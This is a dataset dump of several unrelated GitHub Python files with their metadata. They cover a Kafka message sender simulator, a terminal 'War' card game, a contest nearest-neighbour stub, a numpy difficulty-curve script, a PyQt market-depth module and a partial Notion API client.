'sender-status-updates'\nGROUP_ID = 'sms-sender-group'\n\nclass Sender(threading.Thread):\n\n def __init__(self, sender_id, error_rate, processing_time):\n super().__init__()\n self.sender_id = sender_id\n self.consumer = Consumer({\n 'bootstrap.servers': KAFKA_BROKER_URL,\n 'group.id': GROUP_ID,\n 'auto.offset.reset': 'earliest',\n })\n self.producer = Producer({'bootstrap.servers': KAFKA_BROKER_URL})\n self.success_count = 0\n self.total_msgs = 0\n self.failed_count = 0\n self.error_rate = error_rate\n self.fail_after_msgs = 100/error_rate\n self.processing_time = processing_time\n\n def run(self):\n self.poll_messages()\n\n def poll_messages(self):\n self.consumer.subscribe([KAFKA_TOPIC])\n print(\"processing messages\")\n try:\n while True:\n msg = self.consumer.poll(1.0)\n if msg is None:\n continue\n if msg.error():\n if msg.error().code() == KafkaError._PARTITION_EOF:\n continue\n else:\n print(msg.error())\n break\n self.total_msgs += 1\n start_time = time.time()\n time.sleep(self.processing_time)\n end_time = time.time()\n if(self.total_msgs % self.fail_after_msgs == 0):\n self.failed_count +=1\n else:\n self.success_count += 1\n processing_time = end_time - start_time\n status_update = {\n 'sender_id': self.sender_id,\n 'success_count': self.success_count,\n 'failed_count': self.failed_count,\n 'total_processing_time': processing_time*(self.success_count+self.failed_count)\n }\n print(\"Sending messages to the status producer\")\n self.producer.produce(STATUS_TOPIC, key=str(self.sender_id), value=json.dumps(status_update))\n except KeyboardInterrupt:\n pass\n finally:\n self.consumer.close()\n\ndef main():\n num_senders = 2\n senders = []\n settings = [[10, 2], [20, 1]] # Setting of the error rate and processing times for each sender.\n index = 0\n for i in range(num_senders):\n sender = Sender(sender_id=f'sender_{i}', error_rate=settings[index][0], processing_time=settings[index][1])\n sender.start()\n senders.append(sender)\n index += 1\n\n for sender in senders:\n sender.join()\n\nif __name__ == '__main__':\n main()\n", "repo_name": "Leelakrishna2091997/Emergency-Message-Service-Kafka", "sub_path": "MessageProducer/sender.py", "file_name": "sender.py", "file_ext": "py", "file_size_in_byte": 2883, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "threading.Thread", "line_number": 11, "usage_type": "attribute"}, {"api_name": "confluent_kafka.Consumer", "line_number": 16, "usage_type": "call"}, {"api_name": "confluent_kafka.Producer", "line_number": 21, "usage_type": "call"}, {"api_name": "confluent_kafka.KafkaError._PARTITION_EOF", "line_number": 41, "usage_type": "attribute"}, {"api_name": "confluent_kafka.KafkaError", "line_number": 41, "usage_type": "name"}, {"api_name": "time.time", "line_number": 47, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 48, "usage_type": "call"}, {"api_name": "time.time", "line_number": 49, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 62, "usage_type": "call"}]} {"seq_id": "23347095625", "text": "# Coding utf-8\nimport secrets\nimport random\nfrom random import shuffle\nfrom os import system, name\nfrom threading import Thread\nimport keyword\nimport time\nimport os\n\n\n# Defaults\nPlayer = 1\nwar_one = {}\nwar_two = {}\nwincards_one = []\nwincards_two = []\nplayer1list = []\nplayer2list = []\n\nfaceCards = {\n\"\"\"\n.------.\n|A.--. |\n| (\\\\/) |\n| :\\\\/: |\n| '--'A|\n`------'\n\"\"\": 1,\n\"\"\"\n.------.\n|2.--. |\n| (\\\\/) |\n| :\\\\/: |\n| '--'2|\n`------'\n\"\"\": 2,\n\"\"\"\n.------.\n|3.--. |\n| :(): |\n| ()() |\n| '--'3|\n`------'\n\"\"\": 3,\n\"\"\"\n.------.\n|4.--. |\n| :/\\\\: |\n| :\\\\/: |\n| '--'4|\n`------'\n\"\"\": 4,\n\"\"\"\n.------.\n|5.--. |\n| :/\\\\: |\n| (__) |\n| '--'5|\n`------'\n\"\"\": 5,\n\"\"\"\n.------.\n|6.--. |\n| (\\\\/) |\n| :\\\\/: |\n| '--'6|\n`------'\n\"\"\": 6,\n\"\"\"\n.------.\n|7.--. |\n| :(): |\n| ()() |\n| '--'7|\n`------'\n\"\"\": 7,\n\"\"\"\n.------.\n|8.--. |\n| :/\\\\: |\n| :\\\\/: |\n| '--'8|\n`------'\n\"\"\": 8,\n\"\"\"\n.------.\n|9.--. |\n| :/\\\\: |\n| (__) |\n| '--'9|\n`------'\n\"\"\": 9,\n\"\"\"\n.------.\n|10.-. |\n| :/\\\\: |\n| :\\\\/: |\n| '-'10|\n`------'\n\"\"\": 10,\n\"\"\"\n.------.\n|J.--. |\n| :(): |\n| ()() |\n| '--'J|\n`------'\n\"\"\": 11,\n\"\"\"\n.------.\n|Q.--. |\n| (\\\\/) |\n| :\\\\/: |\n| '--'Q|\n`------'\n\"\"\": 12,\n\"\"\"\n.------.\n|K.--. |\n| :/\\\\: |\n| :\\\\/: |\n| '--'K|\n`------'\n\"\"\": 13\n}\n\nfaceValues = {\n 'A': 1, 'J': 11, 'Q': 12, 'K': 13,\n '2': 2, '3': 3, '4': 4, '5': 5, '6':6,\n '7': 7, '8':8, '9':9, '10':10\n}\n\nwin = \"\"\"\n __ ______ _ _ __ _______ _ _ _ \n \\ \\ / / __ \\| | | | \\ \\ / |_ _| \\ | | |\n \\ \\_/ | | | | | | | \\ \\ /\\ / / | | | \\| | |\n \\ /| | | | | | | \\ \\/ \\/ / | | | . ` | |\n | | | |__| | |__| | \\ /\\ / _| |_| |\\ |_|\n |_| \\____/ \\____/ \\/ \\/ |_____|_| \\_(_) \n\"\"\"\n\ndef createDeck():\n Deck = [] \n\n for i in range(4):\n for card in faceValues:\n Deck.append(faceValues[card])\n shuffle(Deck)\n return Deck\n\ndef war_zone(player1, player2):\n\n if len(war_one) == 1 or len(war_two) == 1:\n\n print('\\n\\n---- WAR CARD ZONE ----')\n for f, v in faceCards.items():\n for a, b in war_one.items():\n if v == b:\n print(f'\\n{player1} card (Player 1): {f}')\n\n for f, v in faceCards.items():\n for c, d in war_two.items():\n if v == d:\n print(f'{player2} card (Player 2): {f}') \n print('-----------------------\\n')\n\ndef the_rules():\n \n rules = \"\"\"Each player turns up a card and the player with the \nhigher card takes both cards and puts them in won card deck. If both \nplayers match the cards, it is War. Each player picks two more cards \nincluding the match card, the last one with the higher number takes all cards \n(six cards). The player with most of the cards will win the game. If you \nmatch the cards lefting one or two cards from your principal deck, the program \nautomatically will pick the random cards from you winner deck. The player with\nthe fewest cards loses the game and the player with most cards wins the game.\"\"\"\n\n play = \"\"\"1 - The game is for two players.\n2 - Each player has to type the name.\n3 - Each player turn has to type 'y' or 'Y' to play the game.\n4 - If player type 'quit' when is its turn, ends the game.\n6 - Be patient and don't despair.\n5 - Ok. Let's go and play the game. Good luck.\"\"\"\n\n print('\\n\\n--------------------------- GAME INFORMATION --------------------------')\n print('\\nGAME RULES\\n\\n')\n print(rules)\n print('\\n\\nHOW TO PLAY\\n\\n')\n print(play)\n print('\\n\\nPress Ctrl + C to quit the game information.')\n print('-----------------------------------------------------------------------')\n\n\ndef three_cards(player, flist, flistindex, slist, slistindex, principal):\n\n print(f'CONGRATULATIONS, {player.upper()} WINS ALL THE CARDS!')\n \n flist += slist\n principal.extend(flist)\n\n if len(player1list) < 2:\n\n for index1 in sorted(flistindex, reverse=True):\n del wincards_one[index1]\n\n player1list.clear()\n\n if len(player2list) > 2:\n\n for index2 in sorted(slistindex, reverse=True):\n del player2list[index2]\n else:\n \n for index2 in sorted(slistindex, reverse=True):\n del wincards_two[index2]\n\n player2list.clear()\n \n elif len(player2list) < 2:\n\n for index2 in sorted(slistindex, reverse=True):\n del wincards_two[index2]\n\n player2list.clear()\n\n if len(player1list) > 2:\n\n for index1 in sorted(flistindex, reverse=True):\n del player1list[index1]\n\n else: \n\n for index1 in sorted(flistindex, reverse=True):\n del wincards_one[index1]\n\n player1list.clear()\n \n else:\n\n for index1 in sorted(flistindex, reverse=True):\n del player1list[index1]\n \n for index2 in sorted(slistindex, reverse=True):\n del player2list[index2]\n \n\n\ndef winner_match(player1, player2, playerlist, winlist):\n\n print('--------------------------------------------------')\n print(f'{player1} you lose!')\n print(f'CONGRATULATIONS {player2}')\n print(win)\n print('the game.')\n print('--------------------------------------------------')\n\n ncards = len(playerlist) + len(winlist)\n\n Player = 1\n\n play_again()\n\ndef play_again():\n\n while True:\n\n question = input('\\nDo you want to play again? [y/n] ')\n\n if question == 'y' or question == 'Y':\n\n del player1list[:]\n del player2list[:]\n del wincards_one[:]\n del wincards_two[:]\n war_one.clear()\n war_two.clear()\n \n main()\n\n elif question == 'n'or question == 'N':\n\n print('\\nHope you come back soon. Bye bye.')\n\n quit()\n else: \n\n print('\\nPlease type \\'y\\' for yes or \\'n\\' for no.')\n\n\ndef get_match_cards(playerlist, wincards, random_number, lst, idx, val):\n\n if Player == 1 or Player == 2:\n\n if len(playerlist) == 1 and len(wincards) >= 2:\n lst.append(val)\n playerlist.pop(idx)\n rsample = random.sample(list(enumerate(wincards)), 2)\n flistt = [item[1] for item in rsample]\n list_idx = [item[0] for item in rsample]\n lst.extend(flistt)\n random_number.extend(list_idx)\n elif len(playerlist) == 2 and len(wincards) >= 1:\n playerlist.pop(idx)\n lst.append(val)\n rsample = random.sample(list(enumerate(wincards)), 1)\n flistt = [item[1] for item in rsample]\n list_idx = [item[0] for item in rsample]\n sumlists = playerlist + flistt\n lst.extend(sumlists)\n random_number.extend(list_idx)\n\n for x, y in war_one.items():\n for w, z in war_two.items():\n if y != z:\n playerlist.clear()\n\n else:\n lst.append(val)\n playerlist.pop(idx)\n rsample = random.sample(list(enumerate(playerlist)), 2)\n flistt = [item[1] for item in rsample]\n list_idx = [item[0] for item in rsample]\n lst.extend(flistt)\n random_number.extend(list_idx)\n\ndef winner_cards(player1, player2):\n global Player\n \n ff = []\n ss = []\n flist = []\n slist = []\n\n breaker = False\n \n for x, y in war_one.items():\n for w, z in war_two.items():\n \n if y > z:\n winner = player1 + ' wins both cards!!'\n print(winner.upper())\n wincards_one.extend([y, z])\n \n elif y < z:\n winner = player2 + ' wins both cards!!'\n print(winner.upper())\n wincards_two.extend([y, z])\n\n elif y == z:\n \n player1list.insert(x, y)\n player2list.insert(w, z)\n\n #del player1list[x]\n #del player2list[w]\n\n displaying_cards(player1, player2)\n\n if len(player1list) == 1 and len(wincards_one) < 2:\n\n winner_match(player1, player2, player1list, wincards_one)\n\n elif len(player2list) == 1 and len(wincards_two) < 2:\n\n winner_match(player2, player1, player2list, wincards_two)\n\n elif len(player1list) == 0 and len(wincards_one) <= 2:\n \n winner_match(player1, player2, player1list, wincards_one)\n \n elif len(player2list) == 0 and len(wincards_two) <= 2:\n \n winner_match(player2, player1, player2list, wincards_two)\n\n elif len(player1list) == 2 and len(wincards_one) == 0:\n \n winner_match(player1, player2, player1list, wincards_one)\n \n elif len(player2list) == 2 and len(wincards_two) == 0:\n \n winner_match(player2, player1, player2list, wincards_two)\n\n elif len(player1list) == 0 and len(wincards_one) == 0:\n \n winner_match(player1, player2, player1list, wincards_one)\n\n elif len(player2list) == 0 and len(wincards_two) == 0:\n \n winner_match(player2, player1, player2list, wincards_two)\n \n else: \n\n print('\\nBOTH PLAYERS MATCHING THE CARDS! THIS IS A WAR!!\\n')\n print('-----------------------------------------------------------------------')\n print('You both are going to pick two more cards from your decks.')\n print('Including the match card, the third card is greater will win all cards.')\n print('If in the third card you both match again, nobody wins the cards.')\n print('-----------------------------------------------------------------------\\n\\n')\n\n while True:\n qt1 = input(f'{player1}, pick two more cards, please. (Press y or Y): ')\n\n if qt1 == 'y' or qt1 == 'Y':\n \n get_match_cards(player1list, wincards_one, ff, flist, x, y)\n\n print(f'\\n--- {player1.upper()} THREE CARDS ---')\n player_decks(flist) \n print('--------------------------\\n')\n\n\n while True:\n qt2 = input(f'{player2}, pick two more cards, please. (Press y or Y): ')\n \n if qt2 == 'y' or qt2 == 'Y':\n \n get_match_cards(player2list, wincards_two, ss, slist, w, z)\n\n print(f'\\n--- {player2.upper()} THREE CARDS ---')\n player_decks(slist) \n print('------------------------\\n')\n\n if flist[2] > slist[2]:\n \n three_cards(player1, flist, ff, slist, ss, wincards_one)\n\n #displaying_cards(player1, player2)\n\n breaker = True\n break \n\n elif flist[2] < slist[2]:\n \n three_cards(player2, flist, ff, slist, ss, wincards_two)\n\n #displaying_cards(player1, player2) \n\n breaker = True\n break \n\n elif flist[2] == slist[2]:\n \n player1list.insert(x, y)\n player2list.insert(w, z)\n\n print('\\nYou both match the last card!')\n print('Nobody wins the battle.')\n\n breaker = True\n break\n else:\n print(f'\\n{player2}, please type \\'y\\'or \\'Y\\' to select three random cards.\\n')\n \n if breaker == True:\n break\n \n else:\n print(f'\\n{player1}, please type \\'y\\'or \\'Y\\' to select three random cards.\\n')\n\ndef player_decks(playerdeck):\n\n for y in playerdeck:\n for i, v in faceValues.items():\n if y == v:\n y = i\n print(y, end = \" \")\n print(f'|Total cards: {len(playerdeck)}|')\n\ndef displaying_cards(player1, player2):\n\n print('\\n----------- DECK CARDS -----------')\n print(f'{player1} deck cards: ')\n player_decks(player1list)\n print(f'{player2} deck cards: ')\n player_decks(player2list)\n\n if len(wincards_one) or len(wincards_two) > 1:\n print('\\n\\n----------- WON CARDS ------------')\n print(f'{player1} deck cards: ')\n player_decks(wincards_one)\n print(f'{player2} deck cards: ')\n player_decks(wincards_two) \n\n\n if (len(player1list) == 0 and len(wincards_one) > 1):\n\n print(f'\\n{player1}, now you are going to use your win cards deck.')\n \n elif (len(player2list) == 0 and len(wincards_two) > 1):\n \n print(f'\\n{player2}, now you are going to use your win cards deck.')\n else:\n pass\n\n\ndef error_message(player):\n\n message = 'you must type \\'y\\' or \\'Y\\' for playing. \\nIf you want to end the game, only type \\'--quit\\'. Try again please!\\n'\n print(f'\\n{player}, {message}')\n\ndef quit_game(player):\n\n print('\\nYou are about to end the game.')\n\n while True:\n question = input('\\nAre you sure you want to end the game? [y/n] ')\n if question == 'y' or question == 'Y':\n print('Quitting the game...')\n time.sleep(1.5)\n print(f'{player} quit the game. Bye bye...')\n quit()\n else:\n if question == 'n' or question == 'N':\n print(f'\\n{player}, continue the game.')\n break\n else:\n print('\\nPlease make sure you type the right key.')\n\n\ndef displaying_results(player1, player2, q, playerlist, warcard):\n\n global Player\n\n breaker = False\n\n if (q == 'y' or q == 'Y') and (Player == 1 or Player == 2):\n selected_card = secrets.choice(playerlist)\n index = playerlist.index(selected_card)\n if len(war_one) == 0 or len(war_two) == 0:\n warcard.update({index: selected_card})\n\n else: \n\n if Player == 1 and war_one != {}:\n \n warcard.popitem()\n \n if war_one == {}:\n\n warcard.update({index: selected_card})\n\n if war_two != {}:\n\n war_two.popitem()\n\n for sort_list in sorted(enumerate(playerlist), reverse=True):\n sortlist = list(sort_list)\n if sortlist[0] == index:\n del playerlist[index]\n \n #os.system('clear')\n war_zone(player1, player2)\n winner_cards(player1, player2) \n\n if Player == 1:\n \n Player = 2 \n \n else:\n \n Player = 1\n\n displaying_cards(player1, player2)\n\n \n elif q == '--help':\n os.system('clear')\n while True:\n os.system('clear')\n try:\n the_rules()\n time.sleep(1)\n except KeyboardInterrupt:\n print ('\\r ')\n print('Type \\'--resume\\' to return the game.')\n print('Type \\'--quit\\' to quit the game.')\n \n while True:\n \n qt = input('\\nDo you want to continue with the game? ')\n \n if qt == '--resume':\n os.system('clear')\n war_zone(player1, player2)\n displaying_cards(player1, player2)\n \n breaker = True\n break\n \n elif qt == '--quit':\n print('Quitting the game...')\n time.sleep(1)\n if Player == 1:\n print(f'{player1} quit the game. Bye bye...')\n else:\n print(f'{player2} quit the game. Bye bye...')\n \n quit()\n\n breaker = True\n break\n else:\n print('\\nPlease insert the keywords to quit or continue with the game.')\n\n if breaker == True:\n break\n\n elif q == '--quit':\n if Player == 1:\n quit_game(player1)\n else:\n quit_game(player2)\n else: \n if Player == 1:\n error_message(player1)\n else:\n error_message(player2)\n\ndef lets_play(player1, player2):\n\n global Player\n \n cards = createDeck()\n num_cards = len(cards)\n middle_list = num_cards // 2 \n\n for first_list in cards[:middle_list]:\n player1list.append(first_list)\n \n for second_list in cards[middle_list:]:\n player2list.append(second_list)\n\n print('\\nStarting the game...')\n time.sleep(1.3)\n print('Making decks for players...\\n')\n time.sleep(1.3)\n\n print('--------------------------------------------------------------')\n print('Please read some instructions before playing.')\n print('You can type the keywords \\'--help\\' or \\'--quit\\' to end the game.')\n print('--------------------------------------------------------------')\n\n displaying_cards(player1, player2)\n\n while True: \n \n if ((len(player1list) == 0 and len(wincards_one) > 1) and (len(player2list) == 0 and len(wincards_two) > 1)):\n print('\\n\\n--------------------')\n print('KEEP GOING PLAYING!!')\n print('May the best win!!')\n print('--------------------')\n\n player1list.extend(wincards_one)\n player2list.extend(wincards_two)\n\n wincards_one.clear()\n wincards_two.clear()\n \n elif ((len(player1list) == 0 and len(wincards_one) >= 1) or (len(player2list) == 0 and len(wincards_two) >= 1)):\n \n if len(player1list) == 0 and len(wincards_one) >= 1:\n player1list.extend(wincards_one)\n wincards_one.clear()\n else:\n if len(player2list) == 0 and len(wincards_two) >= 1:\n player2list.extend(wincards_two)\n wincards_two.clear()\n\n else:\n \n if ((len(player1list) == 0 and len(wincards_one) == 0) or (len(player2list) == 0 and len(wincards_two) == 0)):\n\n if len(player1list) == 0 and len(wincards_one) == 0:\n print(f'\\n{player2},')\n print(win)\n print('the game.')\n\n Player = 1\n\n play_again()\n else:\n if len(player2list) == 0 and len(wincards_two) == 0:\n print(f'\\n{player1},')\n print(win)\n print('the game.')\n\n Player = 1\n\n play_again()\n\n if Player == 1: \n\n q = input(f'\\n{player1}, it\\'s your turn. Pick your card (Press y or Y): ')\n\n displaying_results(player1, player2, q, player1list, war_one)\n\n else:\n\n q = input(f'\\n{player2}, it\\'s your turn. Pick your card (Press y or Y): ')\n\n displaying_results(player1, player2, q, player2list, war_two)\n\n \ndef main():\n print('\\n\\n-------------------------------------')\n print('-------- Welcome to WarCards --------')\n print('---- Game made by Luis Salamanca ----')\n print('-------------------------------------\\n')\n\n player1 = input('Please insert name Player 1: ') \n player2 = input('Please insert name Player 2: ')\n\n lets_play(player1, player2)\n\nif __name__ == '__main__':\n main()", "repo_name": "luissalamanca/warcardgame", "sub_path": "warcards.py", "file_name": "warcards.py", "file_ext": "py", "file_size_in_byte": 20768, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "random.shuffle", "line_number": 149, "usage_type": "call"}, {"api_name": "random.sample", "line_number": 298, "usage_type": "call"}, {"api_name": "random.sample", "line_number": 306, "usage_type": "call"}, {"api_name": "random.sample", "line_number": 321, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 510, "usage_type": "call"}, {"api_name": "secrets.choice", "line_number": 528, "usage_type": "call"}, {"api_name": "os.system", "line_number": 568, "usage_type": "call"}, {"api_name": "os.system", "line_number": 570, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 573, "usage_type": "call"}, {"api_name": "os.system", "line_number": 584, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 593, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 635, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 637, "usage_type": "call"}]} {"seq_id": "3924964763", "text": "# Problem A from https://egr.vcu.edu/media/engineering/documents/cs/VCU_HSContest_2016_Problems.pdf\nimport sys\n\nfrom typing import TextIO\n\ndef fast_distance(list1: list[int], list2: list[int], dimensions) -> int:\n # Computes a number that can be used when needed to check if distances are larger or smaller but without actually computing the distance. Turns out this is called Manhattan distance.\n # abs(x1 - x2) + abs(y1 - y2) + ... + abs(n1 - n2)\n distance_sum = 0\n for x in range(0, dimensions):\n n1: int = list1[x]\n n2: int = list2[x]\n distance_sum += abs(n1 - n2)\n return distance_sum\n\n# I've added to typing for tab completion\ndef main(input: TextIO, output: TextIO) -> None:\n parameters: list[str] = input.readline().split(\" \")\n number_known_objects = int(parameters[0])\n number_unknown_objects = int(parameters[2])\n number_dimensions = int(parameters[1])\n k_value = int(parameters[3]) # K value is the number of neighbors to track\n\n known_objects = []\n while len(known_objects) < number_known_objects:\n line = list(map(float, input.readline()[:-1].split(\" \")))\n known_objects.append(line)\n unknown_objects = []\n while len(unknown_objects) < number_unknown_objects:\n line = list(map(float, input.readline()[:-1].split()))\n unknown_objects.append(line)\n\n for unknown_object in unknown_objects:\n close_objects = []\n for known_object in known_objects:\n distance = fast_distance(known_object, unknown_object, number_dimensions)\n\n\nif __name__ == \"__main__\":\n main(sys.stdin, sys.stdout)", "repo_name": "Sheel2007/Programming-Contest", "sub_path": "alexfProblems/VCU/2016/my_solutions/solution2016a.py", "file_name": "solution2016a.py", "file_ext": "py", "file_size_in_byte": 1610, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "71", "api": [{"api_name": "typing.TextIO", "line_number": 17, "usage_type": "name"}, {"api_name": "sys.stdin", "line_number": 40, "usage_type": "attribute"}, {"api_name": "sys.stdout", "line_number": 40, "usage_type": "attribute"}]} {"seq_id": "7368877518", "text": "#!/usr/bin/env python3\n\nimport matplotlib.pyplot as plt\nimport numpy as np\n\n\ndef sigmoid(values):\n return 1.0 / (1.0 + np.exp(-values))\n\n\nskills = np.linspace(-3.0, 3.0, num=10001)\nskills = 0.5 * (skills[1:] + skills[:-1])\n\ndifficulties = skills\n\nprobabilities = sigmoid(skills[:, None] - difficulties[None, :])\ncorrect = np.random.rand(*probabilities.shape) < probabilities\n\n\ncorrect_ratio = np.mean(correct, axis=0)\n\nplt.plot(difficulties, correct_ratio)\n# plt.plot(difficulties, sigmoid(-difficulties))\nplt.show()\n\nresult_diff = []\nfor i in range(101):\n idx = np.argmin(np.abs(i / 100.0 - correct_ratio))\n result_diff.append(difficulties[idx])\nprint(result_diff)\n", "repo_name": "demmerichs/CodeJamTemplate", "sub_path": "examples/2021/Qualification/E/generate_difficulty_function.py", "file_name": "generate_difficulty_function.py", "file_ext": "py", "file_size_in_byte": 675, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 9, "dataset": "github-code", "pt": "71", "api": [{"api_name": "numpy.exp", "line_number": 8, "usage_type": "call"}, {"api_name": "numpy.linspace", "line_number": 11, "usage_type": "call"}, {"api_name": "numpy.random.rand", "line_number": 17, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 17, "usage_type": "attribute"}, {"api_name": "numpy.mean", "line_number": 20, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 22, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 22, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 24, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 24, "usage_type": "name"}, {"api_name": "numpy.argmin", "line_number": 28, "usage_type": "call"}, {"api_name": "numpy.abs", "line_number": 28, "usage_type": "call"}]} {"seq_id": "34723003404", "text": "import logging\nimport os\nimport os.path\nimport time\n\nimport numpy as np\nfrom PyQt4 import QtCore, QtGui\n\nimport tulpenmanie.exchange\n\n\nlogger = logging.getLogger(__name__)\n\n\nclass DepthProxy(QtCore.QObject):\n\n refreshed_signal = QtCore.pyqtSignal(np.ndarray)\n\n def __init__(self, market_uuid, exchange_name,\n precision=2, parent=None):\n super(DepthProxy, self).__init__(parent)\n self.storage_directory = str(QtGui.QDesktopServices.storageLocation(\n QtGui.QDesktopServices.DataLocation))\n\n self.precision = precision\n self.exchange = tulpenmanie.exchange.get_exchange_object(exchange_name,\n market_uuid)\n self.exchange.depth_signal.connect(self._process_depth)\n\n def get_array_filename(self):\n array_filename = os.path.join(\n self.storage_directory, '{}_{}_{}_depth.pickle'.format(market_uuid,\n exchange_name,\n int(time.time())))\n\n return array_filename\n\n def refresh(self):\n #if self.depth is not None and self.depth.any():\n # self.refreshed_signal.emit(self.depth)\n #else:\n self.exchange.refresh_depth_data()\n\n def _process_depth(self, depth_data):\n \"depth data should be (asks(prices, amounts), bids(prices, amounts))\"\n times = list()\n price_steps = list()\n volume_sums = list()\n step_size = 1.0 / pow(10, self.precision)\n now = time.time()\n now = matplotlib.dates.epoch2num(now)\n\n #bids\n bids = np.array(depth_data[1], dtype=np.float).transpose()\n bid_prices = bids[0]\n bid_volumes = bids[1]\n floor = bid_prices.max().round(self.precision)\n bottom = bid_prices.min()\n\n while floor > bottom:\n floor -= step_size\n index = bid_prices > floor\n\n times.append(now)\n price_steps.append(floor)\n volume_sums.append(bid_volumes[index].sum())\n\n price_steps.reverse()\n volume_sums.reverse()\n\n # asks\n asks = np.array(depth_data[0], dtype=np.float).transpose()\n ask_prices = asks[0]\n ask_volumes = bids[1]\n ceiling = ask_prices.min().round(self.precision)\n top = ask_prices.max()\n\n while ceiling < top:\n ceiling += step_size\n index = ask_prices < ceiling\n\n times.append(now)\n price_steps.append(ceiling)\n volume_sums.append(ask_volumes[index].sum())\n\n self.depth = np.array((times, price_steps, volume_sums)).transpose()\n self.save()\n self.refreshed_signal.emit(self.depth)\n\n def save(self):\n array_filename = self.get_array_filename()\n directory = os.path.dirname(array_filename)\n if not os.path.exists(directory):\n os.makedir(directory)\n self.depth.dump(self.get_array_filename)\n logger.debug(\"saved depth data to %s\", array_filename)\n", "repo_name": "woeisme/tulpenmanie", "sub_path": "tulpenmanie/data/depth.py", "file_name": "depth.py", "file_ext": "py", "file_size_in_byte": 3097, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "logging.getLogger", "line_number": 12, "usage_type": "call"}, {"api_name": "PyQt4.QtCore.QObject", "line_number": 15, "usage_type": "attribute"}, {"api_name": "PyQt4.QtCore", "line_number": 15, "usage_type": "name"}, {"api_name": "PyQt4.QtCore.pyqtSignal", "line_number": 17, "usage_type": "call"}, {"api_name": "PyQt4.QtCore", "line_number": 17, "usage_type": "name"}, {"api_name": "numpy.ndarray", "line_number": 17, "usage_type": "attribute"}, {"api_name": "PyQt4.QtGui.QDesktopServices.storageLocation", "line_number": 22, "usage_type": "call"}, {"api_name": "PyQt4.QtGui.QDesktopServices", "line_number": 22, "usage_type": "attribute"}, {"api_name": "PyQt4.QtGui", "line_number": 22, "usage_type": "name"}, {"api_name": "PyQt4.QtGui.QDesktopServices", "line_number": 23, "usage_type": "attribute"}, {"api_name": "PyQt4.QtGui", "line_number": 23, "usage_type": "name"}, {"api_name": "tulpenmanie.exchange.exchange.get_exchange_object", "line_number": 26, "usage_type": "call"}, {"api_name": "tulpenmanie.exchange.exchange", "line_number": 26, "usage_type": "attribute"}, {"api_name": "tulpenmanie.exchange", "line_number": 26, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 31, "usage_type": "call"}, {"api_name": "os.path", "line_number": 31, "usage_type": "attribute"}, {"api_name": "time.time", "line_number": 34, "usage_type": "call"}, {"api_name": "time.time", "line_number": 50, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 54, "usage_type": "call"}, {"api_name": "numpy.float", "line_number": 54, "usage_type": "attribute"}, {"api_name": "numpy.array", "line_number": 72, "usage_type": "call"}, {"api_name": "numpy.float", "line_number": 72, "usage_type": "attribute"}, {"api_name": "numpy.array", "line_number": 86, "usage_type": "call"}, {"api_name": "os.path.dirname", "line_number": 92, "usage_type": "call"}, {"api_name": "os.path", "line_number": 92, "usage_type": "attribute"}, {"api_name": "os.path.exists", "line_number": 93, "usage_type": "call"}, {"api_name": "os.path", "line_number": 93, "usage_type": "attribute"}, {"api_name": "os.makedir", "line_number": 94, "usage_type": "call"}]} {"seq_id": "21305493133", "text": "import requests, json\nimport re\n\n\ndef _GET_HEADERS_FROM_TOKEN(token):\n headers = {\n \"Authorization\": \"Bearer \" + token,\n \"Content-Type\": \"application/json\",\n \"Notion-Version\": \"2021-05-13\"\n }\n return headers\n\n\ndef _GET_FIRST_MATCH(pattern, string):\n pattern = re.compile(pattern)\n match = re.search(pattern,string)\n span = match.span()\n return string[span[0]+1 :span[1]-2]\n\n\ndef _DUMP_JSON_TO_FILE(data, name):\n file = f'./{name}'\n with open(file, 'w', encoding='utf8') as f:\n json.dump(data, f, ensure_ascii=False)\n print(f\"Dumped JSON to {file}\")\n\n\n\"\"\"HIERARCHY\nNotionUserObject(object)\n|\nNotionDataBase(object):\n|\nNotionPage(object):\n|\nNotionBlocks:\n|\n.....\n\"\"\"\n\nclass NotionBase(object):\n \"\"\"docstring for NotionAPI_Headers\"\"\"\n def __init__(self, token):\n super(NotionBase, self).__init__()\n self.token = token\n self.headers = headers = {\n \"Authorization\": \"Bearer \" + token,\n \"Content-Type\": \"application/json\",\n \"Notion-Version\": \"2021-05-13\"\n }\n\n def __repr__(self):\n return json.dumps(self.headers, indent=3)\n\n\n\nclass NotionDatabase(NotionBase):\n \"\"\"DATABASE_OBJECT\n {\n object:\n results: [PAGE_OBJECT_1, PAGE_OBJECT_2]\n next_cursor: null\n has_more: false\n }\n \"\"\"\n def __init__(self, databaseID, notionBase):\n super(NotionDatabase, self).__init__(notionBase.token)\n self.databaseID = databaseID\n self.data = None\n\n @classmethod\n def from_a_view_URL(cls, url, notionBase):\n \"\"\"\n SAMPLE URL:\n https://www.notion.so/rysav/36ecfe52ed5e44cc98ab4f22a87eb4ea?v=23a032978ccc4cc78ff238163bb25bbc\n \"\"\"\n dbPattern = r'/[^/]*\\?v'\n databaseID = _GET_FIRST_MATCH(dbPattern, url)\n return cls(databaseID, notionBase)\n\n def readDatabase(self):\n readUrl = f\"https://api.notion.com/v1/databases/{self.databaseID}/query\"\n res = requests.request(\"POST\", readUrl, headers=self.headers)\n statusCode = res.status_code\n # print(res.text)\n if statusCode == 200:\n print(f\"-Reading Database Completed : Status {statusCode}\")\n data = res.json()\n self.data = data\n return data\n else:\n print(f\"-Reading Database Failed : Status {statusCode}\")\n return None\n\n def createDatabase():\n 